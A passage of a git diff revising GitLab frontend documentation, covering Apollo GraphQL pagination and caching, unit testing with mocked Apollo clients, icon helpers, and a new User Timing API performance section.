+ this.requestCount += 1;
+ // Only fetch next page if we have more requests and there is a next page to fetch
+ if (this.requestCount < MAX_REQUEST_COUNT && pageInfo?.hasNextPage) {
+ this.fetchDesigns(pageInfo.endCursor);
+ } else {
+ this.isLoading = false;
+ }
+ })
+ .catch(this.handleError);
+ },
+},
+```
+
+#### Pagination and optimistic updates
+
+When Apollo caches paginated data client-side, it includes `pageInfo` variables in the cache key.
+If you wanted to optimistically update that data, you'd have to provide `pageInfo` variables
+when interacting with the cache via [`.readQuery()`](https://www.apollographql.com/docs/react/v2/api/apollo-client/#ApolloClient.readQuery)
+or [`.writeQuery()`](https://www.apollographql.com/docs/react/v2/api/apollo-client/#ApolloClient.writeQuery).
+This can be tedious and counter-intuitive.
+
+To make it easier to deal with cached paginated queries, Apollo provides the `@connection` directive.
+The directive accepts a `key` parameter that will be used as a static key when caching the data.
+You'd then be able to retrieve the data without providing any pagination-specific variables.
+
+Here's an example of a query using the `@connection` directive:
+
+```graphql
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
+query DastSiteProfiles($fullPath: ID!, $after: String, $before: String, $first: Int, $last: Int) {
+ project(fullPath: $fullPath) {
+ siteProfiles: dastSiteProfiles(after: $after, before: $before, first: $first, last: $last)
+ @connection(key: "dastSiteProfiles") {
+ pageInfo {
+ ...PageInfo
+ }
+ edges {
+ cursor
+ node {
+ id
+ # ...
+ }
+ }
+ }
}
}
```
-Please note we don't have to save `pageInfo` one more time; `fetchMore` triggers a query
-`result` hook as well.
+In this example, Apollo will store the data with the stable `dastSiteProfiles` cache key.
+
+To retrieve that data from the cache, you'd then only need to provide the `$fullPath` variable,
+omitting pagination-specific variables like `after` or `before`:
+
+```javascript
+const data = store.readQuery({
+ query: dastSiteProfilesQuery,
+ variables: {
+ fullPath: 'namespace/project',
+ },
+});
+```
+
+Read more about the `@connection` directive in [Apollo's documentation](https://www.apollographql.com/docs/react/v2/caching/cache-interaction/#the-connection-directive).
### Managing performance
@@ -561,7 +712,7 @@ it('tests apollo component', () => {
const vm = shallowMount(App);
vm.setData({
- ...mock data
+ ...mockData
});
});
```
@@ -633,7 +784,7 @@ function createComponent(props = {}) {
ApolloMutation,
},
mocks: {
- $apollo:
+ $apollo,
}
});
}
@@ -666,34 +817,51 @@ it('calls mutation on submitting form ', () => {
To test the logic of Apollo cache updates, we might want to mock an Apollo Client in our unit tests. We use [`mock-apollo-client`](https://www.npmjs.com/package/mock-apollo-client) library to mock Apollo client and [`createMockApollo` helper](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/helpers/mock_apollo_helper.js) we created on top of it.
-To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional component factory. This way we only create Apollo Client instance when it's necessary:
-
-```javascript
-function createComponent() {...}
-
-function createComponentWithApollo() {...}
-```
+To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional factory and pass the created `mockApollo` as an option to the `createComponent`-factory. This way we only create Apollo Client instance when it's necessary.
-Then we need to inject `VueApollo` to Vue local instance (`localVue.use()` can also be called within `createComponentWithApollo()`)
+We need to inject `VueApollo` to the Vue local instance and, likewise, it is recommended to call `localVue.use()` within `createMockApolloProvider()` to only load it when it is necessary.
```javascript
import VueApollo from 'vue-apollo';
import { createLocalVue } from '@vue/test-utils';
const localVue = createLocalVue();
-localVue.use(VueApollo);
+
+function createMockApolloProvider() {
+ localVue.use(VueApollo);
+
+ return createMockApollo(requestHandlers);
+}
+
+function createComponent(options = {}) {
+ const { mockApollo } = options;
+ ...
+ return shallowMount(..., {
+ localVue,
+ apolloProvider: mockApollo,
+ ...
+ });
+}
```
-After this, on the global `describe`, we should create a variable for `fakeApollo`:
+After this, you can control whether you need a variable for `mockApollo` and assign it in the appropriate `describe`-scope:
```javascript
-describe('Some component with Apollo mock', () => {
+describe('Some component', () => {
let wrapper;
- let fakeApollo
-})
+
+ describe('with Apollo mock', () => {
+ let mockApollo;
+
+ beforeEach(() => {
+ mockApollo = createMockApolloProvider();
+ wrapper = createComponent({ mockApollo });
+ });
+ });
+});
```
-Within component factory, we need to define an array of _handlers_ for every query or mutation:
+Within `createMockApolloProvider`-factory, we need to define an array of _handlers_ for every query or mutation:
```javascript
import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql';
@@ -702,13 +870,16 @@ import moveDesignMutation from '~/design_management/graphql/mutations/move_desig
describe('Some component with Apollo mock', () => {
let wrapper;
- let fakeApollo;
+ let mockApollo;
+
+ function createMockApolloProvider() {
+ Vue.use(VueApollo);
- function createComponentWithApollo() {
const requestHandlers = [
[getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
[permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
];
+ ...
}
})
```
@@ -718,23 +889,38 @@ After this, we need to create a mock Apollo Client instance using a helper:
```javascript
import createMockApollo from 'jest/helpers/mock_apollo_helper';
-describe('Some component with Apollo mock', () => {
+describe('Some component', () => {
let wrapper;
- let fakeApollo;
- function createComponentWithApollo() {
+ function createMockApolloProvider() {
+ Vue.use(VueApollo);
+
const requestHandlers = [
[getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
[permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
];
- fakeApollo = createMockApollo(requestHandlers);
- wrapper = shallowMount(Index, {
+ return createMockApollo(requestHandlers);
+ }
+
+ function createComponent(options = {}) {
+ const { mockApollo } = options;
+
+ return shallowMount(Index, {
localVue,
- apolloProvider: fakeApollo,
+ apolloProvider: mockApollo,
});
}
-})
+
+ describe('with Apollo mock', () => {
+ let mockApollo;
+
+ beforeEach(() => {
+ mockApollo = createMockApolloProvider();
+ wrapper = createComponent({ mockApollo });
+ });
+ });
+});
```
When mocking resolved values, ensure the structure of the response is the same
@@ -744,13 +930,15 @@ When testing queries, please keep in mind they are promises, so they need to be
```javascript
it('renders a loading state', () => {
- createComponentWithApollo();
+ const mockApollo = createMockApolloProvider();
+ const wrapper = createComponent({ mockApollo });
expect(wrapper.find(LoadingSpinner).exists()).toBe(true)
});
it('renders designs list', async () => {
- createComponentWithApollo();
+ const mockApollo = createMockApolloProvider();
+ const wrapper = createComponent({ mockApollo });
jest.runOnlyPendingTimers();
await wrapper.vm.$nextTick();
@@ -762,7 +950,7 @@ it('renders designs list', async () => {
If we need to test a query error, we need to mock a rejected value as request handler:
```javascript
-function createComponentWithApollo() {
+function createMockApolloProvider() {
...
const requestHandlers = [
[getDesignListQuery, jest.fn().mockRejectedValue(new Error('GraphQL error')],
@@ -772,7 +960,7 @@ function createComponentWithApollo() {
...
it('renders error if query fails', async () => {
- createComponent()
+ const wrapper = createComponent();
jest.runOnlyPendingTimers();
await wrapper.vm.$nextTick();
@@ -786,9 +974,11 @@ Request handlers can also be passed to component factory as a parameter.
Mutations could be tested the same way with a few additional `nextTick`s to get the updated result:
```javascript
-function createComponentWithApollo({
+function createMockApolloProvider({
moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse),
}) {
+ Vue.use(VueApollo);
+
moveDesignHandler = moveHandler;
const requestHandlers = [
@@ -797,15 +987,21 @@ function createComponentWithApollo({
[moveDesignMutation, moveDesignHandler],
];
- fakeApollo = createMockApollo(requestHandlers);
- wrapper = shallowMount(Index, {
+ return createMockApollo(requestHandlers);
+}
+
+function createComponent(options = {}) {
+ const { mockApollo } = options;
+
+ return shallowMount(Index, {
localVue,
- apolloProvider: fakeApollo,
+ apolloProvider: mockApollo,
});
}
...
it('calls a mutation with correct parameters and reorders designs', async () => {
- createComponentWithApollo({});
+ const mockApollo = createMockApolloProvider({});
+ const wrapper = createComponent({ mockApollo });
wrapper.find(VueDraggable).vm.$emit('change', {
moved: {
@@ -828,14 +1024,100 @@ it('calls a mutation with correct parameters and reorders designs', async () =>
#### Testing `@client` queries
-If your application contains `@client` queries, most probably you will have an Apollo Client warning saying that you have a local query but no resolvers are defined. In order to fix it, you need to pass resolvers to the mocked client with a second parameter (bare minimum is an empty object):
+##### Using mock resolvers
+
+If your application contains `@client` queries, you get
+the following Apollo Client warning when passing only handlers:
+
+```shell
+Unexpected call of console.warn() with:
+
+Warning: mock-apollo-client - The query is entirely client-side (using @client directives) and resolvers have been configured. The request handler will not be called.
+```
+
+To fix this you should define mock `resolvers` instead of
+mock `handlers`. For example, given the following `@client` query:
+
+```graphql
+query getBlobContent($path: String, $ref: String!) {
+ blobContent(path: $path, ref: $ref) @client {
+ rawData
+ }
+}
+```
+
+And its actual client-side resolvers:
```javascript
-import createMockApollo from 'jest/helpers/mock_apollo_helper';
-...
-fakeApollo = createMockApollo(requestHandlers, {});
+import Api from '~/api';
+
+export const resolvers = {
+ Query: {
+ blobContent(_, { path, ref }) {
+ return {
+ __typename: 'BlobContent',
+ rawData: Api.getRawFile(path, { ref }).then(({ data }) => {
+ return data;
+ }),
+ };
+ },
+ },
+};
+
+export default resolvers;
+```
+
+We can use a **mock resolver** that returns data with the
+same shape, while mock the result with a mock function:
+
+```javascript
+let mockApollo;
+let mockBlobContentData; // mock function, jest.fn();
+
+const mockResolvers = {
+ Query: {
+ blobContent() {
+ return {
+ __typename: 'BlobContent',
+ rawData: mockBlobContentData(), // the mock function can resolve mock data
+ };
+ },
+ },
+};
+
+const createComponentWithApollo = ({ props = {} } = {}) => {
+ mockApollo = createMockApollo([], mockResolvers); // resolvers are the second parameter
+
+ wrapper = shallowMount(MyComponent, {
+ localVue,
+ propsData: {},
+ apolloProvider: mockApollo,
+ // ...
+ })
+};
+
```
+After which, you can resolve or reject the value needed.
+
+```javascript
+beforeEach(() => {
+ mockBlobContentData = jest.fn();
+});
+
+it('shows data', async() => {
+ mockBlobContentData.mockResolvedValue(data); // you may resolve or reject to mock the result
+
+ createComponentWithApollo();
+
+ await waitForPromises(); // wait on the resolver mock to execute
+
+ expect(findContent().text()).toBe(mockCiYml);
+});
+```
+
+##### Using `cache.writeQuery`
+
Sometimes we want to test a `result` hook of the local query. In order to have it triggered, we need to populate a cache with correct data to be fetched with this query:
```javascript
@@ -849,14 +1131,16 @@ query fetchLocalUser {
```javascript
import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql';
-function createComponentWithApollo() {
+function createMockApolloProvider() {
+ Vue.use(VueApollo);
+
const requestHandlers = [
[getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
[permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
];
- fakeApollo = createMockApollo(requestHandlers, {});
- fakeApollo.clients.defaultClient.cache.writeQuery({
+ const mockApollo = createMockApollo(requestHandlers, {});
+ mockApollo.clients.defaultClient.cache.writeQuery({
query: fetchLocalUserQuery,
data: {
fetchLocalUser: {
@@ -864,18 +1148,111 @@ function createComponentWithApollo() {
name: 'Test',
},
},
- })
+ });
+
+ return mockApollo;
+}
+
+function createComponent(options = {}) {
+ const { mockApollo } = options;
- wrapper = shallowMount(Index, {
+ return shallowMount(Index, {
localVue,
- apolloProvider: fakeApollo,
+ apolloProvider: mockApollo,
+ });
+}
+```
+
+Sometimes it is necessary to control what the local resolver returns and inspect how it is called by the component. This can be done by mocking your local resolver:
+
+```javascript
+import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql';
+
+function createMockApolloProvider(options = {}) {
+ Vue.use(VueApollo);
+ const { fetchLocalUserSpy } = options;
+
+ const mockApollo = createMockApollo([], {
+ Query: {
+ fetchLocalUser: fetchLocalUserSpy,
+ },
+ });
+
+ // Necessary for local resolvers to be activated
+ mockApollo.clients.defaultClient.cache.writeQuery({
+ query: fetchLocalUserQuery,
+ data: {},
});
+
+ return mockApollo;
}
```
+In the test you can then control what the spy is supposed to do and inspect the component after the request have returned:
+
+```javascript
+describe('My Index test with `createMockApollo`', () => {
+ let wrapper;
+ let fetchLocalUserSpy;
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ fetchLocalUserSpy = null;
+ });
+
+ describe('when loading', () => {
+ beforeEach(() => {
+ const mockApollo = createMockApolloProvider();
+ wrapper = createComponent({ mockApollo });
+ });
+
+ it('displays the loader', () => {
+ // Assess that the loader is present
+ });
+ });
+
+ describe('with data', () => {
+ beforeEach(async () => {
+ fetchLocalUserSpy = jest.fn().mockResolvedValue(localUserQueryResponse);
+ const mockApollo = createMockApolloProvider(fetchLocalUserSpy);
+ wrapper = createComponent({ mockApollo });
+ await waitForPromises();
+ });
+
+ it('should fetch data once', () => {
+ expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1);
+ });
+
+ it('displays data', () => {
+ // Assess that data is present
+ });
+ });
+
+ describe('with error', () => {
+ const error = 'Error!';
+
+ beforeEach(async () => {
+ fetchLocalUserSpy = jest.fn().mockRejectedValueOnce(error);
+ const mockApollo = createMockApolloProvider(fetchLocalUserSpy);
+ wrapper = createComponent({ mockApollo });
+ await waitForPromises();
+ });
+
+ it('should fetch data once', () => {
+ expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1);
+ });
+
+ it('displays the error', () => {
+ // Assess that the error is displayed
+ });
+ });
+});
+```
+
## Handling errors
-GitLab's GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data).
+The GitLab GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data).
When utilising a GraphQL mutation, we must consider handling **both of these error modes** to ensure that the user receives the appropriate feedback when an error occurs.
diff --git a/doc/development/fe_guide/icons.md b/doc/development/fe_guide/icons.md
index 994a3aa36fc..1468e886220 100644
--- a/doc/development/fe_guide/icons.md
+++ b/doc/development/fe_guide/icons.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Icons and SVG Illustrations
@@ -22,7 +22,7 @@ Our goal is to replace one by one all inline SVG Icons (as those currently bloat
### Usage in HAML/Rails
-To use a sprite Icon in HAML or Rails we use a specific helper function :
+To use a sprite Icon in HAML or Rails we use a specific helper function:
```ruby
sprite_icon(icon_name, size: nil, css_class: '')
@@ -31,7 +31,7 @@ sprite_icon(icon_name, size: nil, css_class: '')
- **icon_name**: Use the icon_name for the SVG sprite in the list of
([GitLab SVGs](https://gitlab-org.gitlab.io/gitlab-svgs)).
- **size (optional)**: Use one of the following sizes : 16, 24, 32, 48, 72 (this
- will be translated into a `s16` class)
+ is translated into a `s16` class)
- **css_class (optional)**: If you want to add additional CSS classes.
**Example**
@@ -90,7 +90,7 @@ Please use the following function inside JS to render an icon:
### Usage in HAML/Rails
-DANGER: **Warning:**
+WARNING:
Do not use the `spinner` or `icon('spinner spin')` rails helpers to insert
loading icons. These helpers rely on the Font Awesome icon library which is
deprecated.
diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md
index 9f98876bc8e..84c1623f8c0 100644
--- a/doc/development/fe_guide/index.md
+++ b/doc/development/fe_guide/index.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend Development Guidelines
This document describes various guidelines to ensure consistency and quality
-across GitLab's frontend team.
+across the GitLab frontend team.
## Overview
@@ -24,7 +24,7 @@ Working with our frontend assets requires Node (v10.13.0 or greater) and Yarn
For our currently-supported browsers, see our [requirements](../../install/requirements.md#supported-web-browsers).
Use [BrowserStack](https://www.browserstack.com/) to test with our supported browsers.
-Sign in to BrowserStack with the credentials saved in the **Engineering** vault of GitLab's
+Sign in to BrowserStack with the credentials saved in the **Engineering** vault of the GitLab
[shared 1Password account](https://about.gitlab.com/handbook/security/#1password-guide).
## Initiatives
@@ -41,7 +41,7 @@ How we [plan and execute](development_process.md) the work on the frontend.
## Architecture
-How we go about [making fundamental design decisions](architecture.md) in GitLab's frontend team
+How we go about [making fundamental design decisions](architecture.md) in the GitLab frontend team
or make changes to our frontend development guidelines.
## Testing
@@ -56,7 +56,7 @@ Reusable components with technical and usage guidelines can be found in our
## Design Patterns
-Common JavaScript [design patterns](design_patterns.md) in GitLab's codebase.
+Common JavaScript [design patterns](design_patterns.md) in the GitLab codebase.
## Vue.js Best Practices
diff --git a/doc/development/fe_guide/keyboard_shortcuts.md b/doc/development/fe_guide/keyboard_shortcuts.md
index 227b5cfd22c..e50e9ec65df 100644
--- a/doc/development/fe_guide/keyboard_shortcuts.md
+++ b/doc/development/fe_guide/keyboard_shortcuts.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Implementing keyboard shortcuts
diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md
index de9a9f5cb14..7825c89b7cf 100644
--- a/doc/development/fe_guide/performance.md
+++ b/doc/development/fe_guide/performance.md
@@ -1,11 +1,205 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Performance
+Performance is an essential part and one of the main areas of concern for any modern application.
+
+## User Timing API
+
+[User Timing API](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API) is a web API
+[available in all modern browsers](https://caniuse.com/?search=User%20timing). It allows measuring
+custom times and durations in your applications by placing special marks in your
+code. You can use the User Timing API in GitLab to measure any timing, regardless of the framework,
+including Rails, Vue, or vanilla JavaScript environments. For consistency and
+convenience of adoption, GitLab offers several ways to enable custom user timing metrics in
+your code.
+
+User Timing API introduces two important paradigms: `mark` and `measure`.
+
+**Mark** is the timestamp on the performance timeline. For example,
+`performance.mark('my-component-start');` makes a browser note the time this code
+is met. Then, you can obtain information about this mark by querying the global
+performance object again. For example, in your DevTools console:
+
+```javascript
+performance.getEntriesByName('my-component-start')
+```
+
+**Measure** is the duration between either:
+
+- Two marks
+- The start of navigation and a mark
+- The start of navigation and the moment the measurement is taken
+
+It takes several arguments of which the measurement’s name is the only one required. Examples:
+
+- Duration between the start and end marks:
+
+ ```javascript
+ performance.measure('My component', 'my-component-start', 'my-component-end')
+ ```
+
+- Duration between a mark and the moment the measurement is taken. The end mark is omitted in
+ this case.
+
+ ```javascript
+ performance.measure('My component', 'my-component-start')
+ ```
+
+- Duration between [the navigation start](https://developer.mozilla.org/en-US/docs/Web/API/Performance/timeOrigin)
+ and the moment the actual measurement is taken.
+
+ ```javascript
+ performance.measure('My component')
+ ```
+
+- Duration between [the navigation start](https://developer.mozilla.org/en-US/docs/Web/API/Performance/timeOrigin)
+ and a mark. You cannot omit the start mark in this case but you can set it to `undefined`.
+
+ ```javascript
+ performance.measure('My component', undefined, 'my-component-end')
+ ```
+
+To query a particular `measure`, You can use the same API, as for `mark`:
+
+```javascript
+performance.getEntriesByName('My component')
+```
+
+You can also query for all captured marks and measurements:
+
+```javascript
+performance.getEntriesByType('mark');
+performance.getEntriesByType('measure');
+```
+
+Using `getEntriesByName()` or `getEntriesByType()` returns an Array of [the PerformanceMeasure
+objects](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceMeasure) which contain
+information about the measurement's start time and duration.
+
+### User Timing API utility
+
+You can use the `performanceMarkAndMeasure` utility anywhere in GitLab, as it's not tied to any
+particular environment.
+
+`performanceMarkAndMeasure` takes an object as an argument, where:
+
+| Attribute | Type | Required | Description |
+|:------------|:---------|:---------|:----------------------|
+| `mark` | `String` | no | The name for the mark to set. Used for retrieving the mark later. If not specified, the mark is not set. |
+| `measures` | `Array` | no | The list of the measurements to take at this point. |
+
+In return, the entries in the `measures` array are objects with the following API:
+
+| Attribute | Type | Required | Description |
+|:------------|:---------|:---------|:----------------------|
+| `name` | `String` | yes | The name for the measurement. Used for retrieving the mark later. Must be specified for every measure object, otherwise JavaScript fails. |
+| `start` | `String` | no | The name of a mark **from** which the measurement should be taken. |
+| `end` | `String` | no | The name of a mark **to** which the measurement should be taken. |
+
+Example:
+
+```javascript
+import { performanceMarkAndMeasure } from '~/performance/utils';
+...
+performanceMarkAndMeasure({
+ mark: MR_DIFFS_MARK_DIFF_FILES_END,
+ measures: [
+ {
+ name: MR_DIFFS_MEASURE_DIFF_FILES_DONE,
+ start: MR_DIFFS_MARK_DIFF_FILES_START,
+ end: MR_DIFFS_MARK_DIFF_FILES_END,
+ },
+ ],
+});
+```
+
+### Vue performance plugin
+
+The plugin captures and measures the performance of the specified Vue components automatically
+leveraging the Vue lifecycle and the User Timing API.
+
+To use the Vue performance plugin:
+
+1. Import the plugin:
+
+ ```javascript
+ import PerformancePlugin from '~/performance/vue_performance_plugin';
+ ```
+
+1. Use it before initializing your Vue application:
+
+ ```javascript
+ Vue.use(PerformancePlugin, {
+ components: [
+ 'IdeTreeList',
+ 'FileTree',
+ 'RepoEditor',
+ ]
+ });
+ ```
+
+The plugin accepts the list of components, performance of which should be measured. The components
+should be specified by their `name` option.
+
+You might need to explicitly set this option on the needed components, as
+most components in the codebase don't have this option set:
+
+```javascript
+export default {
+ name: 'IdeTreeList',
+ components: {
+ ...
+ ...
+}
+```
+
+The plugin captures and stores the following:
+
+- The start **mark** for when the component has been initialized (in `beforeCreate()` hook)
+- The end **mark** of the component when it has been rendered (next animation frame after `nextTick`
+ in `mounted()` hook). In most cases, this event does not wait for all sub-components to be
+ bootstrapped. To measure the sub-components, you should include those into the
+ plugin options.
+- **Measure** duration between the two marks above.
+
+### Access stored measurements
+
+To access stored measurements, you can use either:
+
+- **Performance bar**. If you have it enabled (`P` + `B` key-combo), you can see the metrics
+ output in your DevTools console.
+- **"Performance" tab** of the DevTools. You can get the measurements (not the marks, though) in
+ this tab when profiling performance.
+- **DevTools console**. As mentioned above, you can query for the entries:
+
+ ```javascript
+ performance.getEntriesByType('mark');
+ performance.getEntriesByType('measure');
+ ```
+
+### Naming convention
+
+All the marks and measures should be instantiated with the constants from
+`app/assets/javascripts/performance/constants.js`. When you’re ready to add a new mark’s or
+measurement’s label, you can follow the pattern.
+
+NOTE:
+This pattern is a recommendation and not a hard rule.
+
+```javascript
+app-*-start // for a start ‘mark’
+app-*-end // for an end ‘mark’
+app-* // for ‘measure’
+```
+
+For example, `'webide-init-editor-start`, `mr-diffs-mark-file-tree-end`, and so on. We do it to
+help identify marks and measures coming from the different apps on the same page.
+
## Best Practices
### Realtime Components
@@ -18,29 +212,29 @@ When writing code for realtime features we have to keep a couple of things in mi
Thus, we must strike a balance between sending requests and the feeling of realtime.
Use the following rules when creating realtime solutions.
-1. The server will tell you how much to poll by sending `Poll-Interval` in the header.
- Use that as your polling interval. This way it is [easy for system administrators to change the
- polling rate](../../administration/polling.md).
+1. The server tells you how much to poll by sending `Poll-Interval` in the header.
+ Use that as your polling interval. This enables system administrators to change the
+ [polling rate](../../administration/polling.md).
A `Poll-Interval: -1` means you should disable polling, and this must be implemented.
1. A response with HTTP status different from 2XX should disable polling as well.
1. Use a common library for polling.
1. Poll on active tabs only. Please use [Visibility](https://github.com/ai/visibilityjs).
-1. Use regular polling intervals, do not use backoff polling, or jitter, as the interval will be
+1. Use regular polling intervals, do not use backoff polling, or jitter, as the interval is
controlled by the server.
-1. The backend code will most likely be using etags. You do not and should not check for status
- `304 Not Modified`. The browser will transform it for you.
+1. The backend code is likely to be using etags. You do not and should not check for status
+ `304 Not Modified`. The browser transforms it for you.
### Lazy Loading Images
To improve the time to first render we are using lazy loading for images. This works by setting
the actual image source on the `data-src` attribute. After the HTML is rendered and JavaScript is loaded,
-the value of `data-src` will be moved to `src` automatically if the image is in the current viewport.
+the value of `data-src` is moved to `src` automatically if the image is in the current viewport.
- Prepare images in HTML for lazy loading by renaming the `src` attribute to `data-src` AND adding the class `lazy`.
-- If you are using the Rails `image_tag` helper, all images will be lazy-loaded by default unless `lazy: false` is provided.
+- If you are using the Rails `image_tag` helper, all images are lazy-loaded by default unless `lazy: false` is provided.
If you are asynchronously adding content which contains lazy images then you need to call the function
-`gl.lazyLoader.searchLazyImages()` which will search for lazy images and load them if needed.
+`gl.lazyLoader.searchLazyImages()` which searches for lazy images and loads them if needed.
But in general it should be handled automatically through a `MutationObserver` in the lazy loading function.
### Animations
@@ -49,14 +243,14 @@ Only animate `opacity` & `transform` properties. Other properties (such as `top`
Layout to be recalculated, which is much more expensive. For details on this, see "Styles that Affect Layout" in
[High Performance Animations](https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/).
-If you _do_ need to change layout (e.g. a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/) to change expensive
+If you _do_ need to change layout (for example, a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/) to change expensive
properties once, and handle the actual animation with transforms.
## Reducing Asset Footprint
### Universal code
-Code that is contained within `main.js` and `commons/index.js` are loaded and
+Code that is contained in `main.js` and `commons/index.js` is loaded and
run on _all_ pages. **DO NOT ADD** anything to these files unless it is truly
needed _everywhere_. These bundles include ubiquitous libraries like `vue`,
`axios`, and `jQuery`, as well as code for the main navigation and sidebar.
@@ -66,26 +260,26 @@ code footprint.
### Page-specific JavaScript
Webpack has been configured to automatically generate entry point bundles based
-on the file structure within `app/assets/javascripts/pages/*`. The directories
-within the `pages` directory correspond to Rails controllers and actions. These
-auto-generated bundles will be automatically included on the corresponding
+on the file structure in `app/assets/javascripts/pages/*`. The directories
+in the `pages` directory correspond to Rails controllers and actions. These
+auto-generated bundles are automatically included on the corresponding
pages.
For example, if you were to visit <https://gitlab.com/gitlab-org/gitlab/-/issues>,
you would be accessing the `app/controllers/projects/issues_controller.rb`
controller with the `index` action. If a corresponding file exists at
-`pages/projects/issues/index/index.js`, it will be compiled into a webpack
+`pages/projects/issues/index/index.js`, it is compiled into a webpack
bundle and included on the page.
Previously, GitLab encouraged the use of
-`content_for :page_specific_javascripts` within HAML files, along with
+`content_for :page_specific_javascripts` in HAML files, along with
manually generated webpack bundles. However under this new system you should
not ever need to manually add an entry point to the `webpack.config.js` file.
-TIP: **Tip:**
+NOTE:
If you are unsure what controller and action corresponds to a given page, you
-can find this out by inspecting `document.body.dataset.page` within your
-browser's developer console while on any page within GitLab.
+can find this out by inspecting `document.body.dataset.page` in your
+browser's developer console while on any page in GitLab.
#### Important Considerations
@@ -97,7 +291,7 @@ browser's developer console while on any page within GitLab.
instantiate, and nothing else.
- **`DOMContentLoaded` should not be used:**
- All of GitLab's JavaScript files are added with the `defer` attribute.
+ All GitLab JavaScript files are added with the `defer` attribute.
According to the [Mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer),
this implies that "the script is meant to be executed after the document has
been parsed, but before firing `DOMContentLoaded`". Since the document is already
@@ -119,21 +313,21 @@ browser's developer console while on any page within GitLab.
```
Note that `waitForCSSLoaded()` methods supports receiving the action in different ways:
-
+
- With a callback:
-
+
```javascript
waitForCSSLoaded(action)
```
-
+
- With `then()`:
-
+
```javascript
waitForCSSLoaded().then(action);
```
-
+
- With `await` followed by `action`:
-
+
```javascript
await waitForCSSLoaded;
action();
@@ -150,21 +344,21 @@ browser's developer console while on any page within GitLab.
- **Supporting Module Placement:**
- If a class or a module is _specific to a particular route_, try to locate
- it close to the entry point it will be used. For instance, if
- `my_widget.js` is only imported within `pages/widget/show/index.js`, you
+ it close to the entry point in which it is used. For instance, if
+ `my_widget.js` is only imported in `pages/widget/show/index.js`, you
should place the module at `pages/widget/show/my_widget.js` and import it
- with a relative path (e.g. `import initMyWidget from './my_widget';`).
- - If a class or module is _used by multiple routes_, place it within a
+ with a relative path (for example, `import initMyWidget from './my_widget';`).
+ - If a class or module is _used by multiple routes_, place it in a
shared directory at the closest common parent directory for the entry
- points that import it. For example, if `my_widget.js` is imported within
+ points that import it. For example, if `my_widget.js` is imported in
both `pages/widget/show/index.js` and `pages/widget/run/index.js`, then
place the module at `pages/widget/shared/my_widget.js` and import it with
- a relative path if possible (e.g. `../shared/my_widget`).
+ a relative path if possible (for example, `../shared/my_widget`).
- **Enterprise Edition Caveats:**
- For GitLab Enterprise Edition, page-specific entry points will override their
+ For GitLab Enterprise Edition, page-specific entry points override their
Community Edition counterparts with the same name, so if
- `ee/app/assets/javascripts/pages/foo/bar/index.js` exists, it will take
+ `ee/app/assets/javascripts/pages/foo/bar/index.js` exists, it takes
precedence over `app/assets/javascripts/pages/foo/bar/index.js`. If you want
to minimize duplicate code, you can import one entry point from the other.
This is not done automatically to allow for flexibility in overriding
@@ -172,10 +366,10 @@ browser's developer console while on any page within GitLab.
### Code Splitting
-For any code that does not need to be run immediately upon page load, (e.g.
+For any code that does not need to be run immediately upon page load, (for example,
modals, dropdowns, and other behaviors that can be lazy-loaded), you can split
your module into asynchronous chunks with dynamic import statements. These
-imports return a Promise which will be resolved once the script has loaded:
+imports return a Promise which is resolved after the script has loaded:
```javascript
import(/* webpackChunkName: 'emoji' */ '~/emoji')
@@ -184,7 +378,7 @@ import(/* webpackChunkName: 'emoji' */ '~/emoji')
```
Please try to use `webpackChunkName` when generating these dynamic imports as
-it will provide a deterministic filename for the chunk which can then be cached
+it provides a deterministic filename for the chunk which can then be cached
the browser across GitLab versions.
